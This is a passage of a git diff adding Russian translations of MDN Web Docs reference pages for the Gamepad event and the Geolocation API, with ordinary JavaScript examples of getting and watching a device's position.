+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Свойства геймпада передаются при возникновении события <a href="/ru/docs/Web/Events/gamepadconnected">Window.gamepadconnected</a>.</p>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});</pre>
+
+<p>И события <a href="/ru/docs/Web/Events/gamepaddisconnected">Window.gamepaddisconnected</a>.</p>
+
+<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+  e.gamepad.index, e.gamepad.id);
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepadevent-interface", "GamepadEvent")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.GamepadEvent")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/geolocation/getcurrentposition/index.html b/files/ru/web/api/geolocation/getcurrentposition/index.html
new file mode 100644
index 0000000000..2a0774dce8
--- /dev/null
+++ b/files/ru/web/api/geolocation/getcurrentposition/index.html
@@ -0,0 +1,82 @@
+---
+title: Geolocation.getCurrentPosition()
+slug: Web/API/Geolocation/getCurrentPosition
+translation_of: Web/API/Geolocation/getCurrentPosition
+---
+<p>{{securecontext_header}}{{ APIRef("Geolocation API") }}Метод <strong><code>Geolocation.getCurrentPosition()</code></strong> используется для получения текущего местоположения устройства.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.geolocation.getCurrentPosition(<em>success[</em>, <em>error[</em>, <em>options]]</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>success</var></code></dt>
+ <dd>Функция обратного вызова, которая принимает объект {{domxref("Position")}} в качестве единственного входного параметра.</dd>
+ <dt><code><var>error</var></code> {{optional_inline}}</dt>
+ <dd>Необязательная функция обратного вызова, принимающая объект {{domxref("PositionError")}} как единственный входной параметр.</dd>
+ <dt><code><var>options</var></code> {{optional_inline}}</dt>
+ <dd>Необязательный объект {{domxref("PositionOptions")}}.<br>
+ Включает в себя
+ <ul>
+  <li><code>maximumAge</code>: целое число (миллисекунды) | infinity - максимальное время кеширования позиции.</li>
+  <li><code>timeout</code>: целое число (миллисекунды) - количество времени до вызова callback ошибки. Если 0, вызов не происходит.</li>
+  <li><code>enableHighAccuracy</code>: false | true</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Ваше текущее метоположение:');
+  console.log(`Широта: ${crd.latitude}`);
+  console.log(`Долгота: ${crd.longitude}`);
+  console.log(`Плюс-минус ${crd.accuracy} метров.`);
+};
+
+function error(err) {
+  console.warn(`ERROR(${err.code}): ${err.message}`);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Начальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Geolocation.getCurrentPosition")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>{{domxref("Navigator.geolocation")}}</li>
+</ul>
diff --git a/files/ru/web/api/geolocation/index.html b/files/ru/web/api/geolocation/index.html
new file mode 100644
index 0000000000..75be7f3457
--- /dev/null
+++ b/files/ru/web/api/geolocation/index.html
@@ -0,0 +1,69 @@
+---
+title: Geolocation
+slug: Web/API/Geolocation
+tags:
+  - API
+  - Advanced
+  - Geolocation API
+  - Interface
+  - Reference
+  - Secure context
+translation_of: Web/API/Geolocation
+---
+<div>{{APIRef}}</div>
+
+<p>Интерфейс <code><strong>Geolocation</strong></code> представляет возможность программно получит местоположение устройства. Он даёт веб-содержимому к позиции пользователя. Это также помогает сайтам и приложениям предоставлять результаты, основываясь полученных данных.</p>
+
+<p>Объект с этим интерфейсом получается с помощью свойства {{domxref("NavigatorGeolocation.geolocation")}} и реализуется объектом {{domxref("Navigator")}}.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> По некоторым причинам, связанным с безопаностью, когда веб-страница пытается получить доступ к местоположению, пользователь будет уведомлен, а также будет запрошено разрешение. Имейте в виду, что у каждого браузера есть свои политики и методы для запроса этого разрешения.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>Geolocation</code> ни реализует, ни наследует никаких свойств.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><em>Интерфейс <code>Geolocation</code> не наследует никаких методов</em></em>.</p>
+
+<dl>
+ <dt>{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}</dt>
+ <dd>Определяет местоположение устройства и возвращает объект {{domxref("Position")}} с данными.</dd>
+ <dt>{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>long</code> значение, предоставляет вновь созданную callback-функцию, вызываемую при изменении местоположения устройства.</dd>
+ <dt>{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}</dt>
+ <dd>Удаляет обработчик, созданный с помощью <code>watchPosition()</code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#geolocation_interface')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Основная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/WebAPI/Geolocaion/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Использование геолокации</a></li>
+</ul>
diff --git a/files/ru/web/api/geolocation/using_geolocation/index.html b/files/ru/web/api/geolocation/using_geolocation/index.html
new file mode 100644
index 0000000000..39847dedc5
--- /dev/null
+++ b/files/ru/web/api/geolocation/using_geolocation/index.html
@@ -0,0 +1,91 @@
+---
+title: Использование геолокации
+slug: Web/API/Geolocation/Using_geolocation
+tags:
+  - Geolocation API
+  - Guide
+  - Intermediate
+translation_of: Web/API/Geolocation_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
+
+<p><strong>Geolocation API</strong> позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p>
+
+<h2 id="Концепты_и_использование">Концепты и использование</h2>
+
+<p>Вы часто хотите получать информацию о местоположении пользователя в своём веб приложении, например, для отображения участка на карте, либо для того, чтобы показывать информацию, основанную на местоположении посетителя.</p>
+
+<p>API геолокации может быть вызвано через {{domxref("Navigator.geolocation")}}; это заставит браузер пользователя вывести уведомление с запросом для доступа к текущему местоположению. Если его одобрят, то браузер сможет даст весь доступный функционал для работы с информацией о местонахождении (например, GPS).</p>
+
+<p>Тогда разработчику станут доступны несколько разных способов получения соответствующей информации:</p>
+
+<ul>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}: возвратит местоположение устройства</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}: зарегистрирует функцию-обработчик, которая будет вызываться автоматически каждый раз, когда местоположение изменится, возвращая новые данные.</li>
+</ul>
+
+<p>В обоих случая, методы принимают три аргумента:</p>
+
+<ul>
+ <li>Обязательную callback-функцию при успехе: если удалось получить местоположение пользователя, то функция вызовется с объектом {{domxref("GeolocationPosition")}} как одним параметром, предоставляющим доступ к данным о месторасположении.</li>
+ <li>Необязательную callback-функцию при ошибке: если не удалось получить позицию, то callback-функция вызовется с объектом {{domxref("GeolocationPositionError")}} как одним параметром, содержащим информацию о том, что пошло не так.</li>
+ <li>Необязательный объект {{domxref("PositionOptions")}}, который содержит надстройки получения данных о местоположении.</li>
+</ul>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("Geolocation")}}</dt>
+ <dd>Главный класс этого API — содержит методы для получения текущего местоположения пользователя, наблюдает за его изменениями и удаляет функции-наблюдатели.</dd>
+ <dt>{{domxref("GeolocationPosition")}}</dt>
+ <dd>Предоставляет месторасположение пользователя. Экземпляр <code>GeolocationPosition</code>, полученный при успешном вызове одного из методов {{domxref("Geolocation")}}, внутри callback-функции при успехе, содержит метку времени плюс экземпляр объекта {{domxref("GeolocationCoordinates")}}.</dd>
+ <dt>{{domxref("GeolocationCoordinates")}}</dt>
+ <dd>Предоставлять координаты пользователя; Экземпляр <code>GeolocationCoordinates</code> содержит широту, долготу и прочую важную подобную информацию.</dd>
+ <dt>{{domxref("GeolocationPositionError")}}</dt>
+ <dd><code>GeolocationPositionError</code> возвращается при неуспешном вызове методов, содержащихся в {{domxref("Geolocation")}}, внутри callback-функции при ошибке, содержит код ошибки и сообщение.</dd>
+ <dt>{{domxref("Navigator.geolocation")}}</dt>
+ <dd>Точка входа в API. Возвращает экземпляр объекта {{domxref("Geolocation")}}, из которого становятся доступны все функции и методы.</dd>
+</dl>
+
+<h2 id="Словари">Словари</h2>
+
+<dl>
+ <dt>{{domxref("PositionOptions")}}</dt>
+ <dd>Предоставляет объект, содержащий опции, которые можно передать как параметр в  {{domxref("Geolocation.getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/ru/docs/Web/API/Geolocation_API/Using","Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Geolocation")}}</td>
+   <td>{{Spec2("Geolocation")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.Geolocation")}}</p>
+
+<h3 id="Доступность">Доступность</h3>
+
+<p>Так как местоположение, основанное на WiFi, часто предоставляется Google, API местоположения может быть не доступен в Китае. Вы можете использовать местных провайдеров, таких как <a href="http://lbsyun.baidu.com/index.php?title=jspopular/guide/geolocation">Baidu</a>, <a href="https://lbs.amap.com/api/javascript-api/guide/services/geolocation#geolocation">Autonavi</a> или <a href="http://lbs.qq.com/tool/component-geolocation.html">Tencent</a>. Эти сервисы используют IP-адресс пользователя и/или приложение для предоставления наиболее точной позиции.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/ru/docs/Web/API/Geolocation_API/Using">Использование API местоположения</a></li>
+ <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">API местоположения на w3.org</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Кто изменил моё местоположение?</a> (Hacks блог)</li>
+</ul>
diff --git a/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html b/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html
new file mode 100644
index 0000000000..5fa1055292
--- /dev/null
+++ b/files/ru/web/api/geolocation/using_geolocation/using_the_geolocation_api/index.html
@@ -0,0 +1,170 @@
+---
+title: Использование Geolocation API
+slug: Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API
+tags:
+  - Geolocation API
+  - Guide
+  - Tutorial
+translation_of: Web/API/Geolocation_API/Using_the_Geolocation_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
+
+<p>Geolocation API позволяет пользователю предоставлять свое местоположение web-приложению, если пользователь согласится предоставить его. Из соображений конфиденциальности, у пользователя будет запрошено разрешение на предоставление информации о местоположении.</p>
+
+<h2 id="Объект_геолокации">Объект геолокации</h2>
+
+<p><a href="ru/docs/Web/API/Geolocation">API геолокации</a> доступен через объект {{domxref("navigator.geolocation")}}.</p>
+
+<p>Если объект существует, функции определения местоположения доступны. Вы можете проверить это слеюущим образом:</p>
+
+<pre class="brush: js">if ("geolocation" in navigator) {
+  /* местоположение доступно */
+} else {
+  /* местоположение НЕ доступно */
+}
+</pre>
+
+<h3 id="Получение_текущего_местоположения">Получение текущего местоположения</h3>
+
+<p>Чтобы получить текущее местоположение пользователя, вы должны вызвать метод {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}}. Это инициирует асихронный запрос для обнаружения местоположения пользователя, и запрашивает аппаратные средства позиционирования, чтобы получить последнюю актуальную информацию. Когда местоположение определено, выполняется callback. По желанию вы можете указать вторую callback функцию для обработки ошибки, которая запустится в случае ошибки. Третий, опциональный параметр - объект с опциями, где вы можете настроить максимальное значение возвращаемых данных, время ожидания ответа на запрос, и, при желании, точность возвращаемых данных.</p>
+
+<div class="note">
+<p><strong>Note:</strong> По умолчанию {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} пытается вернуть результат так быстро, как это возможно, за счёт чего даёт не очень точный результат. Это может быть полезно, если вам нужно быстро получить ответ, при этом не важна точность. Устройства с GPS, например, могут пытаться скорректировать данные GPS около минуты и даже больше, поэтому в самом начале могут вернуться менее точные данные (местоположение IP или wifi-сети), полученные {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+</div>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>Функция <code>do_something()</code>, в примере выше, будет вызвана лишь тогда, когда данные о местоположении будут получены.</p>
+
+<h3 id="Наблюдение_за_текущим_местоположением">Наблюдение за текущим местоположением</h3>
+
+<p>Если данные о местоположении меняются (либо устройство находится в движении, либо пришли более точные данные о геопозиции), вы можете указать callback функцию, которая будет вызывается при любом обновлении данных о местоположении. Это делается с использованием функции {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая имеет несколько входных параметров: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Эта функция вызывается много раз, позволяя браузеру обновлять данные о текущей локации либо во время движения, либо после получения более точной информации о местоположении (после применения более точных приемов). Функция, которая вызывается при ошибке, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, при желании, может быть вызвана неоднократно.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Вы можете использовать {{domxref("Geolocation.watchPosition()","watchPosition()")}} без вызова {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.</p>
+</div>
+
+<pre class="brush: js">var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>Метод {{domxref("Geolocation.watchPosition()","watchPosition()")}} возвращает числовой ID, который может быть использован для идентификации наблюдателя за местоположением; используйте его вместе с методом {{domxref("Geolocation.clearWatch()","clearWatch()")}}, чтобы перестать получать новые данные о местоположении.</p>
+
+<pre class="brush: js">navigator.geolocation.clearWatch(watchID);
+</pre>
+
+<h3 id="Точная_настройка_отклика"><span class="short_text" id="result_box" lang="ru"><span>Точная</span> <span>настройка</span> <span>отклика</span></span></h3>
+
+<p>{{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()","watchPosition()")}} принимают callback-функцию при успехе, необязательную callback-функцию при ошибке и необязательный объект <code><a href="/ru/docs/Web/API/PositionOptions">PositionOptions</a></code>.</p>
+
+<p>Этот объект позволяет вам включить возможность определения позиции с высокой точностью, указать максимальное время кэширования значения позиции (при повторных запросах, пока время не вышло, вам будет возвращается кэшированное значение; после браузер будет запрашивать актуальные данные), а также указать значение, устанавливающее интервал — как часто браузер должен пытаться получить данные о местоположении, прежде чем выйдет время.</p>
+
+<p>Вызов {{domxref("Geolocation.watchPosition()","watchPosition")}} может выглядит следующим образом:</p>
+
+<pre class="brush: js">function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Извините, нет доступной позиции.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);</pre>
+
+<h2 id="Описание_позиции">Описание позиции</h2>
+
+<p>Местоположение пользователя содержится в экземпляре объекта {{domxref("GeolocationPosition")}}, содержащего внутри экземпляр другого объекта — {{domxref("GeolocationCoordinates")}}.</p>
+
+<p>Экземпляр <code>GeolocationPosition</code> содержит только две вещи, свойство <code>coords</code>, внутри которого <code>GeolocationCoordinates</code> и свойство timestamp, внутри которого экземпляр {{domxref("DOMTimeStamp")}}, предоставляющее метку времени, созданную при получении данные.</p>
+
+<p>Экземпляр <code>GeolocationCoordinates</code> содержит некоторое количество свойств, двое из которых вы будете чаще всего использовать: <code>latitude</code> и <code>longitude</code>, которые помогут вам отобразить полученную позицию на карте. Поэтому многие callback-функции с успешным получением позиции выглядят очень просто:</p>
+
+<pre class="brush: js">function success(position) {
+  const latitude  = position.coords.latitude;
+  const longitude = position.coords.longitude;
+
+  // Дальше код, который что-то делает с широтой(latitude) и долготой(longitude)
+}</pre>
+
+<p>Однако, вы также можете получить и другую информацию из объекта <code>GeolocationCoordinates</code>, такую как высота над уровнем моря, скорость, направление устройства и точные данные о высоте, долготе и широте.</p>
+
+<h2 id="Обработка_ошибок">Обработка ошибок</h2>
+
+<p>Callback-функция для ошибок, если она была передана в <code>getCurrentPosition()</code> или <code>watchPosition()</code>, ожидает экземпляр объекта <code><a href="/en-US/docs/Web/API/GeolocationPositionError">GeolocationPositionError</a></code> в качестве первого аргумента. Он будет содержать два свойства, <code>code</code>, который укажет на то, какая именно ошибка произошла и понятное для человека <code>message</code>, описывающее значение поля code.</p>
+
+<p>Функция может выглядеть примерно так:</p>
+
+<pre class="brush: js">function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий пример использует Geolocation API для того, чтобы получить широту и долготу пользователя. При успешном выполнении, ссылка будет вести на <code>openstreetmap.org</code>, который отобразит пользовательскую позицию на карте.</p>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  padding: 20px;
+  background-color:#ffffc9
+}
+
+button {
+  margin: .5rem 0;
+}
+</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html;">&lt;button id = "find-me"&gt;Show my location&lt;/button&gt;&lt;br/&gt;
+&lt;p id = "status"&gt;&lt;/p&gt;
+&lt;a id = "map-link" target="_blank"&gt;&lt;/a&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function geoFindMe() {
+
+  const status = document.querySelector('#status');
+  const mapLink = document.querySelector('#map-link');
+
+  mapLink.href = '';
+  mapLink.textContent = '';
+
+  function success(position) {
+    const latitude  = position.coords.latitude;
+    const longitude = position.coords.longitude;
+
+    status.textContent = '';
+    mapLink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`;
+    mapLink.textContent = `Широта: ${latitude} °, Долгота: ${longitude} °`;
+  }
+
+  function error() {
+    status.textContent = 'Невозможно получить ваше местоположение';
+  }
+
+  if (!navigator.geolocation) {
+    status.textContent = 'Geolocation не поддерживается вашим браузером';
+  } else {
+    status.textContent = 'Определение местоположения…';
+    navigator.geolocation.getCurrentPosition(success, error);
+  }
+
+}
+
+document.querySelector('#find-me').addEventListener('click', geoFindMe);
+</pre>
+
+<h3 id="Демо">Демо</h3>
+
+<p>{{EmbedLiveSample('Examples', 350, 150, "", "", "", "geolocation")}}</p>
diff --git a/files/ru/web/api/geolocationcoordinates/index.html b/files/ru/web/api/geolocationcoordinates/index.html
new file mode 100644
index 0000000000..14f936d09c
--- /dev/null
+++ b/files/ru/web/api/geolocationcoordinates/index.html
@@ -0,0 +1,65 @@
+---
+title: Coordinates
+slug: Web/API/GeolocationCoordinates
+translation_of: Web/API/GeolocationCoordinates
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>Интерфейс <strong><code>Coordinates</code></strong> отображает позицию устройства и его высоту над уровнем моря с рассчётным уровнем точности.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>Coordinates</code> не наследует никаких свойств</em>.</p>
+
+<dl>
+ <dt>{{domxref("Coordinates.latitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее широту, выраженную в градусах.</dd>
+ <dt>{{domxref("Coordinates.longitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее долготу, выраженную в градусах.</dd>
+ <dt>{{domxref("Coordinates.altitude")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее высоту над уровнем моря, выраженную в метрах. Возвращает <code>null</code>, если устройство не может предоставить эти данные.</dd>
+ <dt>{{domxref("Coordinates.accuracy")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее точность свойств <code>latitude</code> и <code>longitude</code>, выраженную в метрах.</dd>
+ <dt>{{domxref("Coordinates.altitudeAccuracy")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее точность свойства <code>altitude</code>, выраженную в метрах. Может быть <code>null</code>.</dd>
+ <dt>{{domxref("Coordinates.heading")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее в каком направлении движется устройство. Это значение, выраженное в градусах, показывает насколько отклонено устройство относительно севера. <code>0</code> градусов показывает ровно на север и далее направление опредеряется по часовой стрелке (то есть, <code>90</code> градусов означает восток, а <code>270</code> градусов означает запад). Если <code>speed</code> равно <code>0</code>, то <code>heading</code> будет <code><a href="/ru/docs/JavaScript/Reference/Global_Objects/NaN">NaN</a></code>. Если устройство не может предоставить <code>heading</code>, то его значение будет <code>null</code>.</dd>
+ <dt>{{domxref("Coordinates.speed")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <code>дробное</code> число, означающее скорость движения устройства, выраженное в метрах в секунду. Это значение может быть <code>null</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><em>Интерфейс <code>Coordinates</code> не наследует никаких методов<em>.</em></em></em></p>
+
+<h2 id="Спецификаци">Спецификаци</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#coordinates', 'Coordinates')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Coordinates")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>The {{domxref("Geolocation")}} interface that uses it.</li>
+</ul>
diff --git a/files/ru/web/api/geolocationposition/index.html b/files/ru/web/api/geolocationposition/index.html
new file mode 100644
index 0000000000..c9e0071212
--- /dev/null
+++ b/files/ru/web/api/geolocationposition/index.html
@@ -0,0 +1,58 @@
+---
+title: GeolocationPosition
+slug: Web/API/GeolocationPosition
+tags:
+  - локация
+  - местонахождение
+translation_of: Web/API/GeolocationPosition
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>Интрефейс <strong><code>GeolocationPosition</code></strong> представляет положение соответствующего устройства в данный момент времени. Положение, представленное объектом {{domxref("GeolocationCoordinates")}},  отражает двумерное положение устройства на сфероиде, представляющем землю, а также его высоту и скорость..</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>GeolocationPosition</code> не наследует свойства</em>.</p>
+
+<dl>
+ <dt>{{domxref("GeolocationPosition.coords")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает объект {{domxref("GeolocationCoordinates")}} определяющий текущую локацию.</dd>
+ <dt>{{domxref("GeolocationPosition.timestamp")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает {{domxref("DOMTimeStamp")}}, представляющий время, в которое была получена локация.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em><em>Интрефейс </em><code>GeolocationPosition</code><em> </em></em>не имеет и не наследует методы.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position_interface', 'GeolocationPosition')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.GeolocationPosition")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Geolocation_API/Using">Using the Geolocation API</a></li>
+ <li>{{domxref("Geolocation")}}</li>
+</ul>
diff --git a/files/ru/web/api/geolocationpositionerror/index.html b/files/ru/web/api/geolocationpositionerror/index.html
new file mode 100644
index 0000000000..55b2df9bf1
--- /dev/null
+++ b/files/ru/web/api/geolocationpositionerror/index.html
@@ -0,0 +1,80 @@
+---
+title: PositionError
+slug: Web/API/GeolocationPositionError
+translation_of: Web/API/GeolocationPositionError
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>Интерфейс <strong>PositionError</strong> представляет причину ошибки, возникающую при использовании устройства геолокации.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <strong>PositionError</strong> не наследует никаких свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("PositionError.code")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Возвращает <em>unsigned short,</em> представляющий код ошибки. Возможны следующие значения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Значение</th>
+    <th scope="col">Связанная константа</th>
+    <th scope="col">Описание</th>
+   </tr>
+   <tr>
+    <td><code>1</code></td>
+    <td><code>PERMISSION_DENIED</code></td>
+    <td>Не удалось получить информацию о геолокации, поскольку у страницы не было разрешения на это.</td>
+   </tr>
+   <tr>
+    <td><code>2</code></td>
+    <td><code>POSITION_UNAVAILABLE</code></td>
+    <td>Не удалось получить геолокацию, поскольку по крайней мере один внутренний источник позиции вернул внутреннюю ошибку.</td>
+   </tr>
+   <tr>
+    <td><code>3</code></td>
+    <td><code>TIMEOUT</code></td>
+    <td>Время, разрешенное для получения геолокации, определяется {{domxref ("PositionOptions.timeout")}} информация была достигнута до получения информации.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("PositionError.message")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Returns a human-readable {{domxref("DOMString")}} describing the details of the error. Specifications note that this is primarily intended for debugging use and not to be shown directly in a user interface.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><em>The <code>PositionError</code> interface <em>neither implements nor inherits any method.</em></em></em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position_error_interface', 'PositionError')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.PositionError")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>The {{domxref("Geolocation")}} interface that use it.</li>
+</ul>
